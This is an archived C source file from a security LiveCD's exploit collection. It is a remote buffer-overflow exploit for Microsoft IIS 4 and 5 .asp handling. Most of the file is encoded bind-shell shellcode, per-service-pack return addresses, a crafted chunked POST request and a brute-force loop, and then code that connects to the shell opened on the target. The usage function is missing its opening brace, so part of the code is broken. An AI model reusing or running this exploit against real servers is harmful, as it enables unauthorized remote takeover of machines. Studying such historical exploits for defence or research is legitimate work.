home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / DDK-IIS.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  18KB  |  466 lines

  1. /* 
  2.  *   DDK - 2k2 -
  3.  * 
  4.  * 
  5.  *   coded by NeMeS||y tnx to Birdack
  6.  *  
  7.  *   
  8.  */
  9.  
  10. // IIS 4(NT4) - IIS 5(2K) .asp bof
  11.  
  12. #include <stdio.h> 
  13. #include <stdlib.h>
  14. #include <string.h>
  15. #include <signal.h>
  16. #include <sys/types.h>
  17. #include <sys/socket.h>
  18. #include <sys/ioctl.h>
  19. #include <sys/time.h>
  20. #include <sys/wait.h>
  21. #include <errno.h>
  22. #include <unistd.h>
  23. #include <fcntl.h>
  24. #include <netinet/in.h>
  25. #include <limits.h>
  26. #include <netdb.h>
  27. #include <arpa/inet.h>
  28.  
  29. #define RET_BRUTE_START             0x00400000
  30. #define RET_BRUTE_STOP              0x00500000 
  31.  
  32. #define PORT_BIND                         7788        
  33. #define VERSION                         "0.3b"
  34.  
  35. unsigned char wincode[] = 
  36. "\xeb\x18\x5f\x57\x5e\x33\xc9\xac\x3a\xc1\x74\x13\x3c\x30\x74\x05" 
  37. "\x34\xaa\xaa\xeb\xf2\xac\x2c\x40\xeb\xf6\xe8\xe3\xff\xff\xff\xff" 
  38. "\x21\x46\x30\x6b\x46\xea\xa3\xaa\xaa\xf9\xfc\xfd\x27\x17\x6a\x30" 
  39. "\x9c\x55\x55\x13\xfa\xa8\xaa\xaa\x12\x66\x66\x66\x66\x59\x30\x41" 
  40. "\x6d\x30\x6f\x30\x46\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\x9e" 
  41. "\x5d\x55\x55\xba\xaa\xaa\xaa\x43\x48\xac\xaa\xaa\x30\x65\x30\x6f" 
  42. "\x30\x42\x5d\x55\x55\x27\x17\x5e\x5d\x55\x55\xce\x30\x4b\xaa\xaa" 
  43. "\xaa\xaa\x23\xed\xa2\xce\x23\x97\xaa\xaa\xaa\xaa\x6d\x30\x6f\x5e" 
  44. "\x5d\x55\x55\x55\x55\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29" 
  45. "\x42\xad\x23\x30\x6f\x52\x5d\x55\x55\x6d\x30\x6f\x30\x4e\x5d\x55" 
  46. "\x55\xaa\xaa\x4a\xdd\x42\xd4\xac\xaa\xaa\x29\x17\x30\x46\x5d\x55" 
  47. "\x55\xaa\xa5\x30\x6f\x77\xab\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55" 
  48. "\x30\x6b\x6b\xaa\xaa\xab\xaa\x23\x27\x30\x4e\x5d\x55\x55\x30\x6b" 
  49. "\x17\x30\x4e\x5d\x55\x55\xaa\xaa\xaa\xd2\xdf\xa0\x6d\x30\x6f\x30" 
  50. "\x4e\x5d\x55\x55\xaa\xaa\x5a\x15\x21\x30\x7f\x30\x4e\x5d\x55\x55" 
  51. "\x99\x6a\xcc\x21\xa8\x97\xe7\xf0\xaa\xaa\xa5\x30\x6f\x30\x70\xab" 
  52. "\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55\x21\xfb\x96\x21\x30\x6f\x30" 
  53. "\x4e\x5d\x55\x55\x99\x63\xcc\x21\xa6\xba\x30\x6b\x53\xfa\xef\xaa" 
  54. "\xaa\xa5\x30\x6f\xd3\xab\xaa\xaa\x21\x30\x7f\x30\x4e\x5d\x55\x55" 
  55. "\x21\xe8\x96\x21\x27\x30\x4e\x5d\x55\x55\x21\xfe\xab\xd2\xa9\x30" 
  56. "\x7f\x30\x4e\x5d\x55\x55\x23\x30\x7f\x30\x4a\x5d\x55\x55\x21\x30" 
  57. "\x6f\x30\x4a\x5d\x55\x55\x21\xe2\xa6\xa9\x27\x30\x4e\x5d\x55\x55" 
  58. "\x23\x27\x36\x5d\x55\x55\x21\x30\x7f\x36\x5d\x55\x55\x30\x6b\x90" 
  59. "\xe1\xef\xf8\xe4\xa5\x30\x6f\x99\xab\xaa\xaa\x21\x30\x6f\x36\x5d" 
  60. "\x55\x55\x30\x6b\xd2\xae\xef\xe6\x99\x98\xa5\x30\x6f\x8a\xab\xaa" 
  61. "\xaa\x21\x27\x30\x4e\x5d\x55\x55\x23\x27\x3e\x5d\x55\x55\x21\x30" 
  62. "\x7f\x30\x4a\x5d\x55\x55\x21\x30\x6f\x30\x4e\x5d\x55\x55\xa9\xe8" 
  63. "\x8a\x23\x30\x6f\x36\x5d\x55\x55\x6d\x30\x6f\x32\x5d\x55\x55\xaa" 
  64. "\xaa\xaa\xaa\x41\xb4\x21\x27\x32\x5d\x55\x55\x29\x6b\xab\x23\x27" 
  65. "\x32\x5d\x55\x55\x21\x30\x7f\x36\x5d\x55\x55\x29\x68\xae\x23\x30" 
  66. "\x7f\x36\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\x27\x32" 
  67. "\x5d\x55\x55\x91\xe2\xb2\xa5\x27\x6a\xaa\xaa\xaa\x21\x30\x7f\x36" 
  68. "\x5d\x55\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x30\x6b\x96\xab" 
  69. "\xed\xcf\xde\xfa\xa5\x30\x6f\x30\x4a\xaa\xaa\xaa\x21\x30\x7f\x36" 
  70. "\x5d\x55\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x30\x6b\xd6\xab" 
  71. "\xae\xd8\xc5\xc9\xeb\xa5\x30\x6f\x30\x6e\xaa\xaa\xaa\x21\x30\x7f" 
  72. "\x32\x5d\x55\x55\xa9\x30\x7f\x32\x5d\x55\x55\xa9\x30\x7f\x30\x4e" 
  73. "\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\xe2\x8e\x99\x6a" 
  74. "\xcc\x21\xae\xa0\x23\x30\x6f\x36\x5d\x55\x55\x21\x27\x30\x4a\x5d" 
  75. "\x55\x55\x21\xfb\xba\x21\x30\x6f\x36\x5d\x55\x55\x27\xe6\xba\x55" 
  76. "\x23\x27\x36\x5d\x55\x55\x21\x30\x7f\x36\x5d\x55\x55\xa9\x30\x7f" 
  77. "\x36\x5d\x55\x55\xa9\x30\x7f\x36\x5d\x55\x55\xa9\x30\x7f\x36\x5d" 
  78. "\x55\x55\xa9\x30\x7f\x30\x4e\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d" 
  79. "\x55\x55\x21\xe2\xb6\x21\xbe\xa0\x23\x30\x7f\x36\x5d\x55\x55\x21" 
  80. "\x30\x6f\x36\x5d\x55\x55\xa9\x30\x6f\x30\x4e\x5d\x55\x55\x23\x30" 
  81. "\x6f\x30\x46\x5d\x55\x55\x41\xaf\x43\xa7\x55\x55\x55\x43\xbc\x54" 
  82. "\x55\x55\x27\x17\x5e\x5d\x55\x55\x21\xed\xa2\xce\x30\x49\xaa\xaa" 
  83. "\xaa\xaa\x29\x17\x30\x46\x5d\x55\x55\xaa\xdf\xaf\x43\xdf\xae\xaa" 
  84. "\xaa\x21\x27\x30\x42\x5d\x55\x55\xcc\x21\xbb\xcc\x23\x30\x7f\x86" 
  85. "\x5d\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29\x6a\xa8\x23\x30" 
  86. "\x6f\x30\x42\x5d\x55\x55\x6d\x30\x6f\x36\x5d\x55\x55\xab\xaa\xaa" 
  87. "\xaa\x41\xa5\x21\x27\x36\x5d\x55\x55\x29\x6b\xab\x23\x27\x36\x5d" 
  88. "\x55\x55\x29\x17\x36\x5d\x55\x55\xbb\xa5\x27\x30\x7f\xaa\xaa\xaa" 
  89. "\x29\x17\x36\x5d\x55\x55\xa2\xdf\xb4\x21\x5e\x21\x30\x7f\x30\x42" 
  90. "\x5d\x55\x55\xf8\x55\x30\x7f\x1e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1" 
  91. "\xe9\xe1\x23\x30\x6f\x3e\x5d\x55\x55\x41\x80\x21\x5e\x21\x30\x6f" 
  92. "\x30\x42\x5d\x55\x55\xfa\x21\x27\x3e\x5d\x55\x55\xfb\x55\x30\x7f" 
  93. "\x30\x46\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x30\x7f\x36" 
  94. "\x5d\x55\x55\x23\x30\x6e\x30\x7f\x1a\x5d\x55\x55\x41\xa5\x21\x30" 
  95. "\x6f\x30\x42\x5d\x55\x55\x29\x6a\xab\x23\x30\x6f\x30\x42\x5d\x55" 
  96. "\x55\x21\x27\x30\x42\x5d\x55\x55\xa5\x14\xbb\x30\x6f\x78\xdf\xba" 
  97. "\x21\x30\x6f\x30\x42\x5d\x55\x55\xa5\x14\xe2\xab\x30\x6f\x63\xde" 
  98. "\xa8\x41\xa8\x41\x78\x21\x30\x7f\x30\x42\x5d\x55\x55\x29\x68\xab" 
  99. "\x23\x30\x7f\x30\x42\x5d\x55\x55\x43\xe5\x55\x55\x55\x21\x5e\xc0" 
  100. "\xac\xc0\xab\xc0\xa8\x55\x30\x7f\x7e\x5d\x55\x55\x91\x5e\x3a\xe9" 
  101. "\xe1\xe9\xe1\x23\x30\x6f\xe6\x5d\x55\x55\xcc\x6d\x30\x6f\x92\x5d" 
  102. "\x55\x55\xa8\xaa\xcc\x21\x30\x6f\x86\x5d\x55\x55\xcc\x23\x30\x6f" 
  103. "\x90\x5d\x55\x55\x6d\x30\x6f\x96\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d" 
  104. "\x30\x6f\x36\x5d\x55\x55\xab\xaa\xaa\xaa\x29\x17\x36\x5d\x55\x55" 
  105. "\xaa\xde\xf5\x21\x5e\xc0\xba\x27\x27\x92\x5d\x55\x55\xfb\x21\x30" 
  106. "\x7f\xe6\x5d\x55\x55\xf8\x55\x30\x7f\x72\x5d\x55\x55\x91\x5e\x3a" 
  107. "\xe9\xe1\xe9\xe1\x23\x30\x6f\x36\x5d\x55\x55\xcc\x21\x30\x6f\x90" 
  108. "\x5d\x55\x55\xcc\xaf\xaa\xab\xcc\x23\x30\x6f\x90\x5d\x55\x55\x21" 
  109. "\x27\x90\x5d\x55\x55\x30\x6b\x4b\x55\x55\xaa\xaa\x30\x6b\x53\xaa" 
  110. "\xab\xaa\xaa\xd7\xb8\xcc\x21\x30\x7f\x90\x5d\x55\x55\xcc\x29\x68" 
  111. "\xab\xcc\x23\x30\x7f\x90\x5d\x55\x55\x41\x32\x21\x5e\xc0\xa0\x21" 
  112. "\x30\x6f\xe6\x5d\x55\x55\xfa\x55\x30\x7f\x76\x5d\x55\x55\x91\x5e" 
  113. "\x3a\xe9\xe1\xe9\xe1\x13\xab\xaa\xaa\xaa\x30\x6f\x63\xa5\x30\x6e" 
  114. "\x6c\xa8\xaa\xaa\x21\x5e\x27\x30\x7f\x9e\x5d\x55\x55\xf8\x27\x30" 
  115. "\x6f\x92\x5d\x55\x55\xfa\x21\x27\xe6\x5d\x55\x55\xfb\x55\x30\x7f" 
  116. "\x4a\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\xe2\x5d" 
  117. "\x55\x55\x6d\x30\x6f\xaa\x5d\x55\x55\xa6\xaa\xaa\xaa\x6d\x30\x6f" 
  118. "\xae\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\xa2\x5d\x55\x55\xab" 
  119. "\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x30\x7f\xaa\x5d\x55\x55\xf8\x27" 
  120. "\x30\x6f\xbe\x5d\x55\x55\xfa\x27\x27\xb2\x5d\x55\x55\xfb\x55\x30" 
  121. "\x7f\x12\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x5e\xc0\xaa" 
  122. "\x27\x30\x7f\xaa\x5d\x55\x55\xf8\x27\x30\x6f\xa6\x5d\x55\x55\xfa" 
  123. "\x27\x27\xba\x5d\x55\x55\xfb\x55\x30\x7f\x12\x5d\x55\x55\x91\x5e" 
  124. "\x3a\xe9\xe1\xe9\xe1\x27\x17\xfa\x5d\x55\x55\x99\x6a\x13\xbb\xaa" 
  125. "\xaa\xaa\x58\x30\x41\x6d\x30\x6f\xd6\x5d\x55\x55\xab\xab\xaa\xaa" 
  126. "\xcc\x6d\x30\x6f\x2a\x5d\x55\x55\xaa\xaa\x21\x30\x7f\xba\x5d\x55" 
  127. "\x55\x23\x30\x7f\x22\x5d\x55\x55\x21\x30\x6f\xbe\x5d\x55\x55\x23" 
  128. "\x30\x6f\x26\x5d\x55\x55\x21\x27\xbe\x5d\x55\x55\x23\x27\x3a\x5d" 
  129. "\x55\x55\x21\x5e\x27\x30\x7f\xb6\x5d\x55\x55\xf8\x27\x30\x6f\xfa" 
  130. "\x5d\x55\x55\xfa\xc0\xaa\xc0\xaa\xc0\xaa\xc0\xab\xc0\xaa\xc0\xaa" 
  131. "\x21\x27\x30\x42\x5d\x55\x55\xfb\xc0\xaa\x55\x30\x7f\x16\x5d\x55" 
  132. "\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\x36\x5d\x55\x55\x21" 
  133. "\x5e\xc0\xaa\xc0\xaa\x27\x30\x7f\x9a\x5d\x55\x55\xf8\xc2\xaa\xae" 
  134. "\xaa\xaa\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21\x27\xb2\x5d\x55\x55" 
  135. "\xfb\x55\x30\x7f\x6e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x30" 
  136. "\x50\xab\xaa\xaa\xaa\x30\x6f\x78\xa5\x30\x6e\xdf\xab\xaa\xaa\x21" 
  137. "\x5e\xc0\xaa\xc0\xaa\x27\x30\x6f\x9a\x5d\x55\x55\xfa\xc2\xaa\xae" 
  138. "\xaa\xaa\x27\x27\xaa\x52\x55\x55\xfb\x21\x30\x7f\xb2\x5d\x55\x55" 
  139. "\xf8\x55\x30\x7f\x6e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x29" 
  140. "\x17\x9a\x5d\x55\x55\xaa\xa5\x24\x30\x6e\xaa\xaa\xaa\x21\x5e\xc0" 
  141. "\xaa\x27\x30\x6f\x9a\x5d\x55\x55\xfa\x21\x27\x9a\x5d\x55\x55\xfb" 
  142. "\x27\x30\x7f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xb2\x5d\x55\x55\xfa" 
  143. "\x55\x30\x7f\x62\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x29\x17" 
  144. "\x9a\x5d\x55\x55\xaa\xd4\x82\x21\x5e\xc0\xaa\x21\x27\x9a\x5d\x55" 
  145. "\x55\xfb\x27\x30\x7f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xe2\x5d\x55" 
  146. "\x55\xfa\x55\x30\x7f\x4e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1" 
  147. "\x41\x8b\x21\x5e\xc0\xaa\xc0\xa2\x21\x27\x30\x42\x5d\x55\x55\xfb" 
  148. "\x21\x30\x7f\xe2\x5d\x55\x55\xf8\x55\x30\x7f\x4e\x5d\x55\x55\x91" 
  149. "\x5e\x3a\xe9\xe1\xe9\xe1\x43\x18\xaa\xaa\xaa\x21\x5e\xc0\xaa\xc2" 
  150. "\xaa\xae\xaa\xaa\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21\x27\xe2\x5d" 
  151. "\x55\x55\xfb\x55\x30\x7f\x42\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9" 
  152. "\xe1\x23\x30\x6f\x9a\x5d\x55\x55\x29\x17\x9a\x5d\x55\x55\xaa\xd5" 
  153. "\xf8\x6d\x30\x6f\x9a\x5d\x55\x55\xac\xaa\xaa\xaa\x21\x5e\xc0\xaa" 
  154. "\x27\x30\x7f\x9a\x5d\x55\x55\xf8\x21\x30\x6f\x9a\x5d\x55\x55\xfa" 
  155. "\x21\x27\x30\x42\x5d\x55\x55\x29\x6b\xa2\xfb\x21\x30\x7f\xa6\x5d" 
  156. "\x55\x55\xf8\x55\x30\x7f\x66\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9" 
  157. "\xe1\x21\x5e\x21\x30\x6f\xe2\x5d\x55\x55\xfa\x55\x30\x7f\x5a\x5d" 
  158. "\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x41\x98\x21\x5e\xc0\xaa\x27" 
  159. "\x27\x9a\x5d\x55\x55\xfb\x21\x30\x7f\x9a\x5d\x55\x55\xf8\x27\x30" 
  160. "\x6f\xaa\x52\x55\x55\xfa\x21\x27\xa6\x5d\x55\x55\xfb\x55\x30\x7f" 
  161. "\x66\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x43\xd4\x54\x55\x55" 
  162. "\x43\x87\x57\x55\x55\x41\x54\xf2\xfa\x21\x17\x30\x42\x5d\x55\x55" 
  163. "\x23\xed\x58\x69\x21\xee\x8e\xa6\xaf\x12\xaa\xaa\xaa\x6d\xaa\xee" 
  164. "\x99\x88\xbb\x99\x6a\x69\x41\x46\x42\xb3\x53\x55\x55\xb4\xc6\xe6" 
  165. "\xc5\xcb\xce\xe6\xc3\xc8\xd8\xcb\xd8\xd3\xeb\xaa\xe9\xd8\xcf\xcb" 
  166. "\xde\xcf\xfa\xc3\xda\xcf\xaa\xe9\xd8\xcf\xcb\xde\xcf\xfa\xd8\xc5" 
  167. "\xc9\xcf\xd9\xd9\xeb\xaa\xe9\xc6\xc5\xd9\xcf\xe2\xcb\xc4\xce\xc6" 
  168. "\xcf\xaa\xfa\xcf\xcf\xc1\xe4\xcb\xc7\xcf\xce\xfa\xc3\xda\xcf\xaa" 
  169. "\xf8\xcf\xcb\xce\xec\xc3\xc6\xcf\xaa\xfd\xd8\xc3\xde\xcf\xec\xc3" 
  170. "\xc6\xcf\xaa\xdd\xd9\xc5\xc9\xc1\x99\x98\x84\xce\xc6\xc6\xaa\xd9" 
  171. "\xc5\xc9\xc1\xcf\xde\xaa\xc8\xc3\xc4\xce\xaa\xc6\xc3\xd9\xde\xcf" 
  172. "\xc4\xaa\xcb\xc9\xc9\xcf\xda\xde\xaa\xd9\xcf\xc4\xce\xaa\xd8\xcf" 
  173. "\xc9\xdc\xaa\xc3\xc5\xc9\xde\xc6\xd9\xc5\xc9\xc1\xcf\xde\xaa\xc9" 
  174. "\xc6\xc5\xd9\xcf\xd9\xc5\xc9\xc1\xcf\xde\xaa\xc9\xc7\xce\x84\xcf" 
  175. "\xd2\xcf\xaa\xcf\xd2\xc3\xde\xa7\xa0\xaa"; 
  176.  
  177. struct{
  178.       int           def;
  179.       char           *descr;
  180.       unsigned int ret;
  181.       unsigned int rewrite;
  182.       int          port;
  183.       char         path[256];
  184.     }target[] = {
  185.           {0, " IIS5 Windows 2000 by hsj", 0x0045C560, 0x77eaf44c, 80, "/iisstart.asp"},
  186.           {1, " IIS5 Windows 2000 Chinese SP0 - SP1", 0x0045C560, 0x77ec044c, 80, "/iisstart.asp"},
  187.           {2, " IIS5 Windows 2000 Chinese SP2", 0x0045C560, 0x77ebf44c, 80, "/iisstart.asp"},
  188.           {3, " IIS5 Windows 2000 English SP2", 0x0045C560, 0x77edf44c, 80, "/iisstart.asp"}, 
  189.           {4, " IIS4 Windows NT4", 0, 0, 80, "/iisstart.asp"},   
  190.           {666, NULL, 0, 0, 0, NULL}
  191.         };
  192.  
  193.  
  194. int sel = 0;
  195. int resolve (char *IP);
  196. int make_connection(char *address,int port);
  197. int open_back(char *host,int port);
  198. void l33thax0r(int sock);
  199. void usage(char *name);
  200.  
  201. int main(int argc, char **argv)
  202.  {
  203.   int i, j, cnt, sock;
  204.   int brute = 0;
  205.   unsigned int step;
  206.   unsigned char        *shell_port_offset;
  207.   char buf[8192], buf2[16384], host[1024];
  208.   unsigned int ret_start, ret_stop, ret_step, ret_1;
  209.  
  210.   fprintf(stderr, "\n IIS4(NT4) - IIS5(2K) .asp buffer overflow remote exploit "
  211.           "- DDK Crew 2k2 - (version "VERSION")\n"
  212.           " by NeMeS||y and Birdack\n\n");
  213.   
  214.   if(argc == 1) usage(argv[0]);
  215.  
  216.   while((cnt = getopt(argc,argv,"h:t:p:f:b:")) != EOF)
  217.     {
  218.    switch(cnt)
  219.         {
  220.    case 'h':
  221.      strncpy(host, optarg, sizeof(host));
  222.      host[sizeof(host) - 1] = '\x00';
  223.      break;
  224.    case 't':
  225.      sel = atoi(optarg);
  226.      break;
  227.    case 'p':
  228.      sscanf(optarg, "%p", &target[sel].port);
  229.      break; 
  230.    case 'f':
  231.      strncpy(target[sel].path, optarg, sizeof(&target[sel].path));
  232.      target[sel].path[sizeof(&target[sel].path) -1] = '\x00';
  233.      break;
  234.    case 'b':
  235.      brute = 1;
  236.      step = atoi(optarg);
  237.      break;
  238.    default:
  239.      usage(argv[0]);
  240.      break;
  241.         }
  242.     }
  243.  
  244.  if(target[sel].def == 4) brute = 1; // ;>
  245.  
  246.  sock = make_connection(host,target[sel].port);
  247.  if(sock<0)
  248.     {
  249.         printf("Error -> [ %d ] not connected.\n\n",sock);
  250.         return -3;
  251.     }
  252.  if(brute==0) 
  253.    {
  254.      ret_start = target[sel].ret;
  255.      ret_step  = 1;
  256.      ret_stop  = target[sel].ret;
  257.    } else {
  258.             ret_start = RET_BRUTE_START;
  259.             ret_step  = step;
  260.             ret_stop  = RET_BRUTE_STOP;
  261.           }
  262.  
  263.  printf("\n [+] Start\n\n  host\t->\t%s\n  port\t->\t%d\n  path\t->\t%s\n  type\t->\t%s\n\n\n",
  264.         host, target[sel].port, target[sel].path, target[sel].descr);
  265.  
  266.  if(brute==1) printf("\n [+] Brute forcing enabled... do u have time?\n\n");
  267.  
  268.  for(ret_1 = ret_start; ret_1 <= ret_stop; ret_1 += ret_step)
  269.     {   
  270.      for(i=0;i<sizeof(buf)-strlen(wincode)-12-1;)
  271.         {    
  272.           buf[i++] = 0xeb;
  273.           buf[i++] = 0x06;
  274.         }
  275.        *(unsigned int *)&buf[i] = 0x41414141;
  276.        *(unsigned int *)&buf[i+4] = 0x41414141;
  277.        *(unsigned int *)&buf[i+8] = 0x41414141;
  278.  
  279.        memcpy(&buf[sizeof(buf)-strlen(wincode)-1],wincode,strlen(wincode));
  280.        buf[sizeof(buf)-1] = 0;
  281.        sprintf(buf2,"POST %s?%s HTTP/1.0\r\n"
  282.                     "Content-Type: application/x-www-form-urlencoded\r\n"
  283.                     "Transfer-Encoding: chunked\r\n\r\n"
  284.                     "10\r\nDDKDDKDDKDDKDD\r\n"
  285.                     "4\r\nRETT\r\n"
  286.                     "4\r\nREWR\r\n"
  287.                     "0\r\n\r\n\r\n",
  288.                     &target[sel].path,buf);
  289.   
  290.        *(unsigned int *)strstr(buf2,"REWR") = &target[sel].rewrite;
  291.        *(unsigned int *)strstr(buf2,"RETT") = ret_1;
  292.        if(brute==0) printf(" # Sending buffer to socket : ");
  293.        write(sock,buf2,strlen(buf2));
  294.  
  295.        fprintf(stderr, " [+] ret : 0x%08lx ->",ret_1);
  296.  
  297.        sleep(3);
  298.        if(brute==0) printf("DONE!\n\n");
  299.        shutdown(sock,2);
  300.        close(sock);
  301.        printf(" # connecting to our shell - port : [ %d ]\n",PORT_BIND);
  302.        sock=open_back(host,PORT_BIND);
  303.        if(sock==-1 && brute==0)
  304.             {
  305.              printf("\n [-] FAILED ");
  306.              printf("exiting now!\n\n");
  307.              exit(-1);
  308.             } 
  309.        if(sock!=-1) 
  310.          {
  311.           printf("\n\n[+] Address guessed!! \n\n");
  312.           printf("...OH oH OH... done! our evilcode has worked baby at [ %d ]\n", ret_1);
  313.           l33thax0r(sock);
  314.           exit(0); 
  315.          }
  316.     }
  317.       
  318. }
  319.  
  320.  
  321. int resolve (char *IP)
  322. {
  323.   struct hostent *info;
  324.   unsigned long ip;
  325.  
  326.   if ((ip=inet_addr(IP))==-1)
  327.     {
  328.       if ((info=gethostbyname(IP))==0)
  329.         {
  330.           printf("Couldnt resolve [%s]\n", IP);
  331.           exit(0);
  332.         }
  333.       memcpy(&ip, (info->h_addr), 4);
  334.     }
  335.   return (ip);
  336. }
  337.  
  338. int make_connection(char *address,int port)
  339. {
  340.     struct sockaddr_in server,target;
  341.     int s,i,bf;
  342.     fd_set wd;
  343.     struct timeval tv;
  344.  
  345.     s = socket(AF_INET,SOCK_STREAM,0);
  346.     if(s<0)
  347.         return -1;
  348.     memset((char *)&server,0,sizeof(server));
  349.     server.sin_family = AF_INET;
  350.     server.sin_addr.s_addr = htonl(INADDR_ANY);
  351.     server.sin_port = 0;
  352.  
  353.     target.sin_family = AF_INET;
  354.     target.sin_addr.s_addr = resolve(address);
  355.     if(target.sin_addr.s_addr==0)
  356.     {
  357.         close(s);
  358.         return -2;
  359.     }
  360.     target.sin_port = htons(port);
  361.     bf = 1;
  362.     ioctl(s,FIONBIO,&bf);
  363.     tv.tv_sec = 10;
  364.     tv.tv_usec = 0;
  365.     FD_ZERO(&wd);
  366.     FD_SET(s,&wd);
  367.     connect(s,(struct sockaddr *)&target,sizeof(target));
  368.     if((i=select(s+1,0,&wd,0,&tv))==(-1))
  369.     {
  370.         close(s);
  371.         return -3;
  372.     }
  373.     if(i==0)
  374.     {
  375.         close(s);
  376.         return -4;
  377.     }
  378.     i = sizeof(int);
  379.     getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
  380.     if((bf!=0)||(i!=sizeof(int)))
  381.     {
  382.         close(s);
  383.         errno = bf;
  384.         return -5;
  385.     }
  386.     ioctl(s,FIONBIO,&bf);
  387.     return s;
  388. }
  389.  
  390.  
  391.  
  392. int open_back(char *host,int port) 
  393. {
  394.    int sock, err;
  395.    struct sockaddr_in server_addr;
  396.    struct hostent *he;
  397.    he=gethostbyname(host);
  398.    if (he == NULL) return -1;
  399.    server_addr.sin_family = AF_INET;
  400.    server_addr.sin_port = htons (port);
  401.    server_addr.sin_addr.s_addr = resolve(host);
  402.  
  403.    sock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  404.    if (sock == -1) return -1;
  405.    err = connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr));
  406.    if (err == -1) sock = -1;  
  407.    return sock;
  408. }
  409.  
  410.  
  411. void l33thax0r(int sock)
  412. {
  413.  char buf[1024];
  414.  fd_set rset;
  415.  int i;
  416.  while (1)
  417.  {
  418.   FD_ZERO(&rset);
  419.   FD_SET(sock,&rset);
  420.   FD_SET(STDIN_FILENO,&rset);
  421.   select(sock+1,&rset,NULL,NULL,NULL);
  422.   if (FD_ISSET(sock,&rset))
  423.   {
  424.    i=read(sock,buf,1024);
  425.    if (i <= 0)
  426.    {
  427.      printf("Fuck... the connection was closed!\n");
  428.      printf("exiting...\n\n");
  429.      exit(0);
  430.    }
  431.    buf[i]=0;
  432.    puts(buf);
  433.   }
  434.   if (FD_ISSET(STDIN_FILENO,&rset))
  435.   {
  436.    i=read(STDIN_FILENO,buf,1024);
  437.    if (i>0)
  438.    {
  439.     buf[i]=0;
  440.     write(sock,buf,i);
  441.    }
  442.   }
  443.  }
  444. }
  445.  
  446. void usage(char *name) 
  447.  int j = 0;
  448.   
  449.   printf("Usage: %s <-h hostname> <-t target> [-p port] [-f path file] [-b step]\n", name);
  450.   printf("\nOptions:\n"
  451.          "  -h hostname  (www.iisvictim.com)\n"
  452.          "  -t target\n"
  453.        "  -p port      (default 80)\n"
  454.          "  -f path_file (default /iisstart.asp)\n"
  455.          "  -b step      (brute force, try step 2000)\n\n" 
  456.          "Available targets:\n\n");
  457.   while(target[j].def != 666)
  458.         {
  459.           printf("  %d ] - %s -\n", target[j].def, target[j].descr);
  460.           j++;
  461.         }
  462.   printf("\n");  
  463.   exit(1);
  464. }
  465.